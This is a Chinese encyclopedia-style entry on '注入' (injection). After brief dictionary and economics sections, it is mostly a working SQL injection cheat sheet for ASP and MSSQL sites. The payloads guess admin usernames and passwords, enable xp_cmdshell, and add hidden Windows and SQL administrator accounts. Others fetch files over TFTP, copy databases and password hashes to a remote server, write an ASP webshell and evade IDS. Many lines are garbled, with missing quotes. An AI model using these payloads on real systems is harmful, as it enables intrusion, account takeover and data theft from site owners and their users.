注入

所謂的SQL（結構化查詢語言）注入，簡單來說就是利用SQL語句在外部對SQL資料庫進行查詢，更新等動作。首先，資料庫作為一個網站最重要的組件之一（如果這個網站有資料庫的話），裡面是儲存著各種各樣的內容，包括管理員的賬號密碼，

基本介紹

• 中文名：注入
• 拼音：zhù rù
• 概述：指抽象事物
• 詞性：動詞

基本信息

【詞語】注入

【拼音】zhù rù

【解釋】1.灌入。多指抽象事物。2。在網路安全方面是指一種特殊的攻擊技巧，使資料庫錯誤地把用戶輸入的字元當作代碼執行的一種攻擊方式。

經濟學

概念

注入：指新加入經濟體的收入流量。與之相對應的是漏出，指脫離經濟循環的收入流量。譬如，個人或企業在開戶銀行增加儲蓄存款，對於巨觀經濟來說是漏出；而銀行將這些存款放貸出去，借款者又將其用於實業投資，這就是注入。

如注入大於漏出，則經濟活動規模會擴張；

如注入小於漏出，則經濟活動規模會收縮。

資產注入

“資產注入”通常是上市公司的大股東把自己的資產出售給上市公司。同時也可能是上市公司發起人（自然人或公司）的另外一些非上市的資產注入到上市公司中去。

編程相關

隨著B/S模式套用開發的發展，使用該模式編寫程式的程式設計師越來越來越多，但是由於程式設計師的水平參差不齊，相當大一部分應用程式存在安全隱患。用戶可以提交一段資料庫查詢代碼，根據程式返回的結果，獲得某些他想要知的數據，這個就是所謂的SQLinjection，即sql注入式攻擊。

腳本注入攻擊者把SQL命令插入到WEB表單的輸入域或頁面請求的查詢字元串，欺騙伺服器執行惡意的SQL命令，在某些表單中，用戶輸入的內容直接用來構造動態的SQL命令，或作為存儲過程的輸入參數，從而獲取想得到的密碼或其它伺服器上的資料。

原理

網站的配備內容等，一旦裡面的數據被某人獲得或者是被修改，那么那個人就可能獲得整個網站的控制權。至於怎么獲得這些數據，那些MSSQL弱口令的就不說，剩下的最有可能就是利用注入漏洞。

當用戶在網站外部提交一個參數進入資料庫處理，然後把處理後的結果發給用戶，這個是動態網頁最常見的，但是這個參數一旦沒有被過濾，使得我們自己構造的sql語句也可以和參數一起參與資料庫操作的，那么SQL注入漏洞就會產生

一個網站上存在外地數據提交是很正常的，一般都是用參數接受（request)，然後再進行處理，而涉及於資料庫操作的卻占了很大的一部分。例如下面的例子

這個地址包含了參數1，以及傳遞該參數的變數cs，意思就是，資料夾里有一個1.asp檔案，1.asp檔案內部存在cs變數，作用就是接受有外部提交的一個參數：1，也可以是其他的，那么在1.ASP這個檔案里的相關代碼一般

例如以下這樣一個例子：

…………

cs=Request("id")

sqlsever="select * form xx where id='"&cs&"'"

……………

用request讀取id變數的內容，然後進行SQL查詢，語句就是 select * from xx where id = 1，這個比較好理解吧，但是我來用最經典的注入漏洞檢測方法，在參數後面加上’，　查詢語句就變成了sqlserver=select * from xx where id = ‘1’' ，後面多了一個'，出現閉合問題，如果沒有過濾的那就會提示沒有閉合的’。

利用小竹貢獻的and 1=1和and 1=2 原理也還是一樣

select * from xx where id = 1 and 1=1

select * from xx where id = 1 and 1=2

1=1是成立的，而1=2是不成立的，那么查詢結果就是：真 and 假 最終結果是錯

所以，第一個地址返回正常，第二個地址返回不正常，這樣就可以檢測出有沒有漏洞。

再者參數後面跟著的是SQL語句呢，例如更新語句：

Update admin set passwd = 'poruin' where user= 'admin'

查詢語句就是：select * from xx where id = 1；and update admin set passwd = 'poruin' where user= 'admin'

存在此漏洞的不但是asp access,asp sql server,php mysql,jsp oracle等都有類似問題。

以上所述為SQL語句的注入，還有Dll的注入其實就是在目標進程新建了一個執行緒來載入DLL，不影響DLL的實際檔案。

常用實例

1.判斷有無注入點

； and 1=1 and 1=2

2.猜表一般的表的名稱無非是admin adminuser user pass password 等..

and 0<>(select count(*) from *)

and 0<>(select count(*) from admin) ---判斷是否存在admin這張表

3.猜帳號數目 如果遇到0< 返回正確頁面 1<；返回錯誤頁面說明帳號數目就是1個

and 0<(select count(*) from admin)

and 1<(select count(*) from admin)

4.猜解欄位名稱 在len( ) 括弧裡面加上我們想到的欄位名稱.

and 1=(select count(*) from admin where len(*)>0)--

and 1=(select count(*) from admin where len（用戶欄位名稱name)>0)

and 1=(select count(*) from admin where len（密碼欄位名稱password)>0)

5.猜解各個欄位的長度 猜解長度就是把>0變換 直到返回正確頁面為止

and 1=(select count(*) from admin where len(*)>0)

and 1=(select count(*) from admin where len(name)>6） 錯誤

and 1=(select count(*) from admin where len(name)>5） 正確 長度是6

and 1=(select count(*) from admin where len(name)=6） 正確

and 1=(select count(*) from admin where len(password)>11） 正確

and 1=(select count(*) from admin where len(password)>12） 錯誤 長度是12

and 1=(select count(*) from admin where len(password)=12） 正確

6.猜解字元

and 1=(select count(*) from admin where left(name,1）=a) ---猜解用戶帳號的第一位

and 1=(select count(*) from admin where left(name,2）=ab)---猜解用戶帳號的第二位

就這樣一次加一個字元這樣猜，猜到夠你剛才猜出來的多少位了就對了，帳號就算出來了

and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1）)=51） --

這個查詢語句可以猜解中文的用戶和密碼.只要把後面的數字換成中文的ASSIC碼就OK.最後把結果再轉換成字元.

group by users. id having 1=1--

group by users. id,users.username,users.password,users.privs having 1=1--

； insert into users values( 666,attacker,foobar,0xffff )--

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable-

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN

（login_id)-

（login_id,login_name)-

UNION SELECT TOP 1 login_name FROM logintable-

UNION SELECT TOP 1 password FROM logintable where login_name=Rahul--

看伺服器打的補丁=出錯了打了SP4補丁

and 1=(select @@VERSION)--

看資料庫連線賬號的許可權，返回正常，證明是伺服器角色sysadmin許可權。

and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--

判斷連線資料庫帳號。（採用SA賬號連線 返回正常=證明了連線賬號是SA）

and sa=(SELECT System_user)--

and user_name()=dbo--

and 0<>(select user_name()--

看xp_cmdshell是否刪除

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)--

xp_cmdshell被刪除，恢復，支持絕對路徑的恢復

；EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--

；EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll--

反向PING自己實驗

；use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

加帳號

；DECLARE @shell INT EXEC SP_OACREATEwscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:\WINNT\system32\cmd.exe

/c net user jiaoniang$ 1866574 /add--

創建一個虛擬目錄E盤：

；declare @o int exec sp_oacreatewscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:\inetpub\wwwroot\mkwebdir.vbs -w "默認Web站點" -v "e","e：\"--

訪問屬性：（配合寫入一個webshell）

declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

爆庫 特殊技巧：:%5c=\ 或者把/和\ 修改%5提交

and 0<>(select top 1 paths from newtable)--

得到庫名（從1到5都是系統的id，6以上才可以判斷）

and 1=(select name from master.dbo.sysdatabases where dbid=7）--

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6）

依次提交 dbid = 7,8,9.... 得到更多的資料庫名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一個表 假設為 admin

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 來得到其他的表。

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin

and uid>(str(id))) 暴到UID的數值假設為18779569 uid=id

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569） 得到一個admin的一個欄位，假設為 user_id

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in

（id,...)) 來暴出其他的欄位

and 0<(select user_id from BBS.dbo.admin where username>1） 可以得到用戶名

依次可以得到密碼。假設存在user_id username,password 等欄位

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6）

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判斷id值

and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794） 所有欄位

?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin

?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用)

得到WEB路徑

；create table [dbo].[swap] ([swappass][char]（255）);--

and (select top 1 swappass from swap)=1--

；CREATE TABLE newtable(id int IDENTITY（1,1）,paths varchar（500)) Declare @test varchar（20） exec master..xp_regread

@rootkey=HKEY_LOCAL_MACHINE,@key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\,@value_name=/,

values=@testOUTPUT insert into paths(path) values(@test)--

；use ku1;--

；create table cmd (str image);-- 建立image類型的表cmd

存在xp_cmdshell的測試過程：

；exec master..xp_cmdshell dir

；exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帳號

；exec master.dbo.sp_password null,jiaoniang$,1866574;--

；exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--

；exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes

/active:yes /add;--

；exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;--

exec master..xp_servicecontrol start,schedule 啟動服務

exec master..xp_servicecontrol start,server

； DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C：\WINNT\system32

\cmd.exe /c net user jiaoniang$ 1866574 /add

；DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C：\WINNT\system32\cmd.exe

/c net localgroup administrators jiaoniang$ /add

； exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上傳檔案

；declare @a sysname set @a=xp_+cmdshell exec @a dir c:\

；declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\

；declare @a;set @a=db_name();backup database @a to disk=你的IP你的已分享資料夾bak.dat

如果被限制則可以。

select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)

查詢構造：

SELECT * FROM news WHERE id=... AND topic=... AND .....

adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01）,1）=1） and userpass <>

select 123;--

；use master;--

:a or name like fff%;-- 顯示有一個叫ffff的用戶哈。

and 1<>(select count(email) from [user]);--

；update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--

；update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--

；update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110） where name=ffff;--

；update [users] set email=(select top 1 count(id) from password) where name=ffff;--

；update [users] set email=(select top 1 pwd from password where id=2） where name=ffff;--

；update [users] set email=(select top 1 name from password where id=2） where name=ffff;--

上面的語句是得到資料庫中的第一個用戶表，並把表名放在ffff用戶的信箱欄位中。

通過查看ffff的用戶資料可得第一個用表叫ad

然後根據表名ad得到這個表的ID 得到第二個表的名字

insert into users values( 666,char(0x63）+char(0x68）+char(0x72）+char(0x69）+char(0x73）,char(0x63）+char(0x68）+char(0x72）+char

（0x69）+char(0x73）,0xffff)--

insert into users values( 667,123,123,0xffff)--

insert into users values ( 123,admin--,password,0xffff)--

；and user>0

；and (select count(*) from sysobjects)>0

；and (select count(*) from mysysobjects)>0 //為access資料庫

枚舉出數據表名

；update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--

這是將第一個表名更新到aaa的欄位處。

讀出第一個表，第二個表可以這樣讀出來（在條件後加上 and name<>；剛才得到的表名）。

；update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--

然後id=1552 and exists(select * from aaa where aaa>5）

讀出第二個表，一個個的讀出，直到沒有為止。

讀欄位是這樣：

；update aaa set aaa=(select top 1 col_name(object_id（表名),1）);--

然後id=152 and exists(select * from aaa where aaa>5）出錯，得到欄位名

；update aaa set aaa=(select top 1 col_name(object_id（表名),2）);--

然後id=152 and exists(select * from aaa where aaa>5）出錯，得到欄位名

[獲得數據表名][將欄位值更新為表名，再想法讀出這個欄位的值就可得到表名]

update 表名 set 欄位=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>；你得到的表名 查出一個加一個])

[ where 條件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2，…)

通過SQLSERVER注入漏洞建資料庫管理員帳號和系統管理員帳號[當前帳號必須是SYSADMIN組]

[獲得數據表欄位名][將欄位值更新為欄位名，再想法讀出這個欄位的值就可得到欄位名]

update 表名 set 欄位=(select top 1 col_name(object_id（要查詢的數據表名)，欄位列如:1） [ where 條件]

繞過IDS的檢測[使用變數]

;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\

；declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\

開啟遠程資料庫

基本語法

select * from OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1 )

參數: （1） OLEDB Provider name

其中連線字元串參數可以是任何連線埠用來連線，比如

select * from OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table

複製目標主機的整個資料庫insert所有遠程表到本地表。

基本語法：

insert into OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1） select * from table2

這行語句將目標主機上table2表中的所有數據複製到遠程資料庫中的table1表中。實際運用中適當修改連線字元串的IP位址和連線埠，指向需要的地方，比如：

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1） select * from

table2

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases)

select * from master.dbo.sysdatabases

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects)

select * from user_database.dbo.sysobjects

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns)

select * from user_database.dbo.syscolumns

複製資料庫：

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1） select * from database..table1 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2） select * fromdatabase..table2

複製哈西表（HASH）登錄密碼的hash存儲於sysxlogins中。方法如下：

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select

* from database.dbo.sysxlogins

得到hash之後，就可以進行暴力破解。

遍歷目錄的方法：先創建一個臨時表：temp

；create table temp(id nvarchar（255）,num1 nvarchar（255）,num2 nvarchar（255）,num3 nvarchar（255）);--

；insert temp exec master.dbo.xp_availablemedia;-- 獲得當前所有驅動器

；insert into temp(id) exec master.dbo.xp_subdirs c:\;-- 獲得子目錄列表

；insert into temp(id,num1） exec master.dbo.xp_dirtree c:\;-- 獲得所有子目錄的目錄樹結構，並寸入temp表中

；insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- 查看某個檔案的內容

；insert into temp(id) exec master.dbo.xp_cmdshell dir c:\;--

；insert into temp(id) exec master.dbo.xp_cmdshell dir c:\ *.asp /s/a;--

；insert into temp(id) exec master.dbo.xp_cmdshell cscript. C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc

；insert into temp(id,num1） exec master.dbo.xp_dirtree c:\;-- （xp_dirtree適用許可權PUBLIC）

寫入表：

語句1：and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));--

語句2：and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));--

語句3：and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--

語句4：and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--

語句5：and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--

語句6：and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--

語句7：and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--

語句8：and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--

語句9：and 1=(SELECT IS_MEMBER(db_owner));--

把路徑寫到表中去：

；create table dirs(paths varchar（100）,id int)--

；insert dirs exec master.dbo.xp_dirtree c:\--

and 0<>(select top 1 paths from dirs)--

and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--

；create table dirs1(paths varchar（100）,id int)--

；insert dirs exec master.dbo.xp_dirtree e:\web--

and 0<>(select top 1 paths from dirs1）--

把資料庫備份到網頁目錄：下載

；declare @a sysname; set @a=db_name();backup database @a to disk=e:\web\down.bak;--

and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char（85）) T order by id desc)

and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1） from sysobjects) 參看相關表。

and 1=(select user_id from USER_LOGIN)

and 0=(select user from USER_LOGIN where user>1）

-=-wscript.shellexample -=-

declare @o int

exec sp_oacreate wscript.shell,@o out

exec sp_oamethod @o,run,NULL,notepad.exe

； declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,notepad.exe--

declare @o int,@f int,@t int,@ret int

declare @line varchar（8000)

exec sp_oacreate scripting.filesystemobject,@o out

exec sp_oamethod @o,opentextfile,@f out,c:\boot.ini,1

exec @ret = sp_oamethod @f,readline,@line out

while( @ret = 0 )

begin

print @line

exec @ret = sp_oamethod @f,readline,@line out

end

declare @o int,@f int,@t int,@ret int

exec sp_oacreate scripting.filesystemobject,@o out

exec sp_oamethod @o,createtextfile,@f out,c:\inetpub\wwwroot\foo.asp,1

exec @ret = sp_oamethod @f,writeline,NULL,

<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>

declare @o int,@ret int

exec sp_oacreate speech.voicetext,@o out

exec sp_oamethod @o,register,NULL,foo,bar

exec sp_oasetproperty @o,speed,150

exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to,us,528 waitfor delay 00:00:05

； declare @o int,@ret int exec sp_oacreate speech.voicetext,@o out exec sp_oamethod @o,register,NULL,foo,bar exec

sp_oasetproperty @o,speed,150 exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to us,528 waitfor delay 00:00:05--

xp_dirtree適用許可權PUBLIC

exec master.dbo.xp_dirtree c:\

返回的信息有兩個欄位subdirectory、depth。Subdirectory欄位是字元型，depth欄位是整形欄位。

create table dirs(paths varchar（100）,id int)

建表，這裡建的表是和上面xp_dirtree相關連，欄位相等、類型相同。

insert dirs exec master.dbo.xp_dirtree c:\

只要我們建表與存儲進程返回的欄位相定義相等就能夠執行！達到寫表的效果.